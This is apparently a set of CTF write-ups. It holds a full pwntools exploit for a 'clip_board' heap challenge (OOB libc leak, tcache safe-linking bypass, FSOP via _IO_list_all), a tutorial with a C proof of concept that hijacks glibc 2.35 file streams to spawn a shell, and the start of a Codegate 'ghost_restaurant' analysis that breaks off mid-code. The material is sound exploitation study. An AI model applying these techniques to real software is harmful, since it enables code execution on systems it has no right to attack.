  }
  return size;
}

AddClipboard(), DelClipboard(), and ViewClipboard() all have an OOB vulnerability since they don’t verify when the index value is negative.

However, to get the desired behavior, check must have a non-zero value, so we need to be aware the values in the area above check_chunk_list.

0x02. Exploit

Libc Leak

gef➤  x/20gx 0x555555558000
0x555555558000: 0x0000000000000000      0x0000555555558008
0x555555558010: 0x0000000000000000      0x0000000000000000
0x555555558020 <stdout@GLIBC_2.2.5>:    0x00007ffff7fa5780      0x0000000000000000
0x555555558030 <stdin@GLIBC_2.2.5>:     0x00007ffff7fa4aa0      0x0000000000000000
0x555555558040 <chunk_list>:    0x0000000000000000      0x0000000000000000
0x555555558050 <chunk_list+16>: 0x0000000000000000      0x0000000000000000
0x555555558060 <chunk_list+32>: 0x0000000000000000      0x0000000000000000
0x555555558070 <chunk_list+48>: 0x0000000000000000      0x0000000000000000
0x555555558080 <chunk_list+64>: 0x0000000000000000      0x0000000000000000
0x555555558090 <check_chunk_list>:      0x0000000000000000      0x0000000000000000

Looking at the area above chunk_list to exploit the vulnerability with negative index, we can find stdout and stdin.

A bss region address is written to the 0x555555558008 address with the variable name __dso_handle. Checking it revealed it’s only referenced once in __do_global_dtors_aux of fini_array. It’s not particularly meaningful for this challenge, but good to remember for future use.

stdin can be accessed as chunk_list[-2] and stdout as chunk_list[-4]. To read values with ViewClipboard, a non-zero value is needed in check_chunk_list[-2] or check_chunk_list[-4]. This means we need to put a value at 0x55555555808e or 0x55555555808c. But even if we input 9 for index to store the value returned by malloc() at 0x555555558088, 0 is written at 0x55555555808e, since a pointer is written.

Therefore, only stdout can be viewed, and I obtained the libc address with the following payload.

    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

FSOP

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/user/clip_board
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/user/clip_board
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/user/clip_board

Since Full RELRO is applied, the GOT area is not writable, so between 0x555555558000 and chunk_list there’s only stdout and stdin.

Since we need to control RIP by modifying stdout or stdin, I searched for resources and found the FSOP technique. For the FSOP technique, I used the content summarized in this post.

In the challenge, we can freely allocate memory using the AddClipboard() function, and since the heap address was provided initially, I calculated the offset and wrote the payload as follows.

    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

Uh… I explained enthusiastically, but there’s actually one major problem. When overwriting stdout at chunk_list[-4] using the OOB vulnerability, memory looks like this image.

However, since _IO_flush_all_lockp actually traverses _IO_list_all checking for overflow in file streams, for the attacker’s allocated wide_vtable’s one_gadget function to be called, memory needs to look like this image.

Therefore, we need to overwrite the _IO_list_all pointer in the libc region…

It’s unfortunate that I wouldn’t have had to do this if I’d found another FSOP scenario that directly accesses values stored in stdout…

Tcache Unlink

Looking at the code with the feeling of seeing a completely new challenge, we can see DelClipboard() has this operation.

int DelClipboard()
{
  ...
      ptr = chunk_list_4040[index];
      if ( ptr )
      {
        free(ptr);
        chunk_list_4040[index] = 0LL;
        check_chunk_list_4090[index] = 0;
        size = chunk_size_list_40A0;
        chunk_size_list_40A0[index] = 0;
      }
  ...
}

It resets the value of check_chunk_list[index] which was set to 1 in AddClipboard() back to 0.

Above check_chunk_list will be addresses of heap regions allocated by malloc(). If the order of malloc() and free() is the same, the offsets will be identical, so we can predict without leaking the allocated address.

Therefore, after aligning heap so that malloc returns a 0xXXXXXXXXXX10 address, creating a fake chunk header at 0xXXXXXXXXXX00 address, then changing the last byte 0x10 to 0x00 allows freeing the fake chunk.

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)

    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

After writing the payload above and executing the code, checking tcache bins for sizes 0x30 and 0x100 shows:

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x555555559470, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=14, size=0x100, count=1] ←  Chunk(addr=0x555555559400, size=0x100, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

This makes the 0x555555559400 area overlap with 0x555555559440 and 0x555555559470, so requesting a 0xf0-sized chunk allows overwriting 0x555555559440’s fd.

Safe Linking Bypass

However, checking 0x555555559440 and 0x555555559470’s fd shows it doesn’t simply store the next chunk’s address, due to tcache’s safe linking.

gef➤  x/6gx 0x555555559440 - 0x10
0x555555559430: 0x0000000000000000      0x0000000000000031
0x555555559440: 0x000055500000c129      0x62cde40f9bbc5877
0x555555559450: 0x4646464646464646      0x4646464646464646
gef➤  x/6gx 0x555555559470 - 0x10
0x555555559460: 0x0000000000000000      0x0000000000000031
0x555555559470: 0x0000000555555559      0x62cde40f9bbc5877
0x555555559480: 0x4747474747474747      0x4747474747474747

To briefly summarize while studying, from glibc 2.32, freed chunks have this structure.

struct tcache_entry {
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
};

In the memory above, 0x62cde40f9bbc5877 is the key, which prevents double free through this logic:

When doing free(ptr),
Verify if ptr->key has proper key value
- If not, abort
If proper key value exists, traverse tcache bin matching ptr’s size
- If ptr is in bin, abort

The problem is next. Depending on glibc version (2.35 in this case), pointer masking or encryption is applied, performing the below operation before storing.

// Encryption
entry->next = (tcache_entry *) ((uintptr_t) next ^ (uintptr_t) tcache);

// Decryption
tcache_entry *next = (tcache_entry *) ((uintptr_t) e->next ^ (uintptr_t) tcache);

The tcache value here is supposedly the address of tcache_perthread_struct, but it seemed different from actual memory, so I searched elixir for 2.35 glibc source code but something doesn’t match - needs verification.

Anyway, the actual tcache value used in xor operation is 0x555555559 (heap base address right shifted 12 bits), visible in the 0x555555559470 chunk where next should be null. Therefore, writing the result of xoring 0x555555559 with _IO_list_all’s address 0x7ffff7fa5680 to 0x555555559440 chunk’s next position configures tcache bin as follows.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x7ffff7fa5680, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  [Corrupted chunk at 0x7ffff7fa5680]

The 0 located 8 bytes before _IO_list_all’s address 0x7ffff7fa5680 is interpreted as size, resulting corrupted chunk. Fortunately, malloc() doesn’t verify size, successfully returning 0x7ffff7fa5680.

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))

Executing this payload stores the created new_fd address in the targeted _IO_list_all.

gef➤  x/gx 0x7ffff7fa5680
0x7ffff7fa5680 <_IO_list_all>:  0x0000555555559770

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "clip_board"
LIBRARY = "libc.so.6"
CONTAINER = "69049f0398fe"
code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x16FD
}

gs = f'''
gef config gef.bruteforce_main_arena True
b *0x7ffff7e1e8e0
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def add_clipboard(s, index, size, contents, fin=0):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(str(size).encode())
    s.recvuntil(b"> ")
    s.send(contents)
    if fin:
        return
    else:
        return s.recvuntil(b"\n> ")

def del_clipboard(s, index):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def view_clipboard(s, index):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def exit_clipboard(s):
    s.sendline(b"4")
    return

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    heap = int(s.recvuntil(b"> ").split(b'\n')[0].split(b': ')[1], 16) & 0xfffffffffffff000
    log.info(f"heap : {hex(heap)}")
    
    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)
    
    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))
    
    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

    log.info(f"&stdout : 0x555555558020")
    log.info(f"IO_list_all : {hex(io_list_all)}")
    log.info(f"IO_list_all -> 0x7ffff7fab6a0")
    log.info(f"original_stdout : 0x7ffff7fab780")
    log.info(f"wide_data : {hex(wide_data)}")
    log.info(f"io_wfile_jumps : {hex(io_wfile_jumps)}")
    log.info(f"anywhere_rw : {hex(anywhere_rw)}")
    log.info(f"wide_vtable : {hex(wide_vtable)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # trigger _IO_flush_all_lockp
    exit_clipboard(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)

[FSOP] Exploiting FSOP in glibc 2.35

2024-08-29T00:00:00+00:00

0x00. Introduction

FSOP(File Stream Oriented Programming) is an attack technique using file stream pointers created for file I/O. The exploitation scenario varies slightly by glibc version, but the common parts are:

The vtable area of file stream pointers contains corresponding function pointers for each situation
Functions are called when specific conditions are met in situations like fopen, fread, fwrite, fclose, etc
These functions handle situations matching the conditions

This attack exploits this logic to manipulate execution flow.

I studied this content to solve the clip_board challenge, and organizing it seems useful for future application.

0x01. FILE Structure

When creating a file stream using file I/O functions like fopen, an _IO_FILE_plus structure is created.

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

The _IO_FILE_plus structure includes the _IO_FILE structure. In a gdb environment with libc symbols, you can print in structure format.

gef➤  p *(struct _IO_FILE_plus *) 0x7ffff7fa5780
$1 = {
  file = {
    _flags = 0xfbad2887,
    _IO_read_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_read_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_read_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_write_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_write_ptr = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_write_end = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_base = 0x7ffff7fa5803 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_end = 0x7ffff7fa5804 <_IO_2_1_stdout_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7fa4aa0 <_IO_2_1_stdin_>,
    _fileno = 0x1,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "\n",
    _lock = 0x7ffff7fa6a70 <_IO_stdfile_1_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7fa49a0 <_IO_wide_data_1>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7fa1600 <_IO_file_jumps>
}

While different fields are used for different FSOP techniques, the important field for this post is _wide_data.

Similarly, with symbols, you can print in _IO_wide_data structure format in gdb.

gef➤  p *(struct _IO_wide_data *) 0x7ffff7fa49a0
$2 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0x0,
    __value = {
      __wch = 0x0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0x0,
    __value = {
      __wch = 0x0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0x0,
        __invocation_counter = 0x0,
        __internal_use = 0x0,
        __statep = 0x0,
        __state = {
          __count = 0x0,
          __value = {
            __wch = 0x0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0x0,
        __invocation_counter = 0x0,
        __internal_use = 0x0,
        __statep = 0x0,
        __state = {
          __count = 0x0,
          __value = {
            __wch = 0x0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x7ffff7fa10c0 <_IO_wfile_jumps>
}

Finally, the last field of _IO_wide_data stores a pointer containing vtable information, identical to _IO_FILE_plus. Output in _IO_jump_t structure format looks like this.

gef➤  p *(struct _IO_jump_t *) 0x7ffff7fa10c0
$3 = {
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x7ffff7e15ff0 <_IO_new_file_finish>,
  __overflow = 0x7ffff7e10390 <__GI__IO_wfile_overflow>,
  __underflow = 0x7ffff7e0efd0 <__GI__IO_wfile_underflow>,
  __uflow = 0x7ffff7e0d840 <__GI__IO_wdefault_uflow>,
  __pbackfail = 0x7ffff7e0d600 <__GI__IO_wdefault_pbackfail>,
  __xsputn = 0x7ffff7e10840 <__GI__IO_wfile_xsputn>,
  __xsgetn = 0x7ffff7e152b0 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7ffff7e0f750 <__GI__IO_wfile_seekoff>,
  __seekpos = 0x7ffff7e184b0 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7e145a0 <_IO_new_file_setbuf>,
  __sync = 0x7ffff7e106a0 <__GI__IO_wfile_sync>,
  __doallocate = 0x7ffff7e09e90 <_IO_wfile_doallocate>,
  __read = 0x7ffff7e15930 <__GI__IO_file_read>,
  __write = 0x7ffff7e14ec0 <_IO_new_file_write>,
  __seek = 0x7ffff7e14670 <__GI__IO_file_seek>,
  __close = 0x7ffff7e14590 <__GI__IO_file_close>,
  __stat = 0x7ffff7e14eb0 <__GI__IO_file_stat>,
  __showmanyc = 0x7ffff7e19420 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7e19430 <_IO_default_imbue>
}

Despite only printing structures, it got very long. Just referencing the output method and prototype later should be helpful.

0x02. Strategy

Validation Bypass

With a vtable, you’d think overwriting function addresses in that area would call those functions. Unfortunately, logic to verify vtable was added from glibc 2.27 onwards. For example, in glibc 2.35, IO_validate_vtable is implemented as follows.

IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

It verifies whether the address is in the _libc_IO_vtables area by checking if the offset between vtable’s address and __start___libc_IO_vtables exceeds section_length.

While searching for methods, I got an idea from this post - apparently there’s no verification logic for the vtable in the aforementioned _wide_data.

// _IO_FILE_plus->vtable functions
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

// _IO_FILE_plus->_IO_wide_data->_wide_vtable functions
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)

Following these function macros shows that _IO_WIDE_JUMPS_FUNC doesn’t call the IO_validate_vtable function.

Trigger

The mentioned post triggered FSOP using fflush(). While searching for how to trigger in situations where fflush() isn’t called, I referenced this presentation and confirmed the _IO_flush_all_lockp function is called in these situations:

glibc abort routine
exit function
return in main

Checking the _IO_flush_all_lockp function in glibc 2.35 shows:

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (
        ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;
    }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif

  return result;
}

When specific conditions are met, the _IO_OVERFLOW function is called. Field values to set when constructing or overwriting a new fp are:

fp->flags = 0
fp->vtable = &_IO_wfile_jumps
fp->mode = 1 (value greater than 0)
fp->_wide_data->_IO_write_ptr = 1 or &anywhere_rw
fp->_wide_data->_IO_write_base = 0
fp->_wide_data->_wide_vtable = &fake_vtable

Among these, _IO_write_ptr just needs to be greater than _IO_write_base. But if possible, it’s better to allocate a readable/writable area and write its address.

After constructing a new fp, memory is configured as shown above. The last thing to do is unlink _IO_list_all.

Since the _IO_flush_all_lockp function traverses file streams in _IO_list_all checking if conditions to call _IO_OVERFLOW are met,

Make _IO_list_all point to the new fp as shown above
Manipulate the file stream’s _chain field well so fp enters in the middle

Choose whichever available method works.

0x03. PoC

//GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
//Compiled by GNU CC version 11.2.0.
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>
 
void backdoor()
{
    system("/bin/sh");
}
 
int main()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
 
    char *p1 = calloc(0x200, 1);
    char *p2 = calloc(0x200, 1);
    char *p3 = calloc(0x200, 1);
    
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t libc_base_addr = puts_addr - 0x80e50;
    printf("[*] libc base address: %p\n", (void *)libc_base_addr);
 
    size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
    printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
 
    size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2170c0;
    printf("[*] _IO_wfile_jumps address: %p\n", (void *)_IO_wfile_jumps_addr);
 
    char *stderr2 = (char *)_IO_2_1_stderr_addr;
    puts("[+] step 1: change stderr->_flags = 0x0");
    *(size_t *)stderr2 = 0;

    puts("[+] step 2: set stderr->_wide_data = p1");
    *(size_t *)(stderr2 + 0xa0) = (size_t)p1;
    
    puts("[+] step 3: change stderr->vtable to _IO_wfile_jumps");
    *(size_t *)(stderr2 + 0xd8) = _IO_wfile_jumps_addr;

    puts("[+] step 4: set stderr->_mode > 0");
    *(size_t *)(stderr2 + 0xc0) = 1;

    puts("[+] step 5: set stderr->_wide_data->_IO_write_base = 0x0");
    *(size_t *)(p1 + 0x18) = (size_t)0x0;

    puts("[+] step 6: set stderr->_wide_data->_IO_write_ptr = p2(anywhere rw)");
    *(size_t *)(p1 + 0x20) = (size_t)p2;

    puts("[+] step 7: set stderr->_wide_data->_wide_vtable = p3");
    *(size_t *)(p1 + 0xe0) = (size_t)p3;
 
    puts("[+] step 8: put backdoor at fake _wide_vtable->doallocate");
    // *(size_t *)(p3 + 0x10) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x18) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x20) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x28) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x30) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x38) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x40) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x48) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x50) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x58) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x60) = (size_t)(&backdoor);
    *(size_t *)(p3 + 0x68) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x70) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x78) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x80) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x88) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x90) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0x98) = (size_t)(&backdoor);
    // *(size_t *)(p3 + 0xa0) = (size_t)(&backdoor);

    puts("[+] step 9: return to trigger backdoor func");
    return 0;
    // fflush(stderr);      // doesn't need fflush();
}

0x04. Reference

Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)

2024-08-28T00:00:00+00:00

0x00. Introduction

[*] '/home/user/ghost_restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct food {
    char name[0x40];
    long cook_time;
    long left_time;
}

There are several other structures used, but I’ve only stated the critical one to solve the challenge.

Concept

Creating and selecting an oven spawns a cook_1928 thread where you can insert or remove food.

When inserting, food becomes ready after the specified cook_time passes. The process of decrementing time and checking completion happens through the start_routine_16B1 thread.

0x01. Vulnerability

Information Leak

When food is removed (either due to cook_time expiring or manual remove), memory changes through the following logic.

printf("Select food to remove in '%s':\n", oven->name);
__isoc99_scanf("%d", &tmp);
for ( i = tmp; i < food_count; ++i )
{
  food_next = food[i + 1];
  food_cur = food[i];
  memcpy(food_cur, food_next, 0x50);
}

Since it copies from food[i + 1] even though the food is full, we can leak important data after the food structures.

Race Condition

Looking at the code for start_routine_16B1 that checks remaining time:

void __fastcall __noreturn start_routine_16B1(struct argument *a1)
{
  ...
  while ( 1 )
  {
    if ( *(__int64 *)arg->count > 0 )
    {
      for ( i = 0; i < *(_QWORD *)arg->count; ++i )
      {
        if ( arg->food[i].left_time > 0 )
        {
          food_tmp = &arg->food[i];
          if ( !--food_tmp->left_time )
          {
            printf("'%s' is ready!\n", arg->food[i].name);
            ...
            for ( j = i; j < *(_QWORD *)arg->count; ++j )
            {
              food_next = &arg->food[j + 1];
              food_cur = &arg->food[j];
              memcpy(food_cur, food_next, 0x50);
            }
            --*(_QWORD *)arg->count;
          }
        }
      }
    }
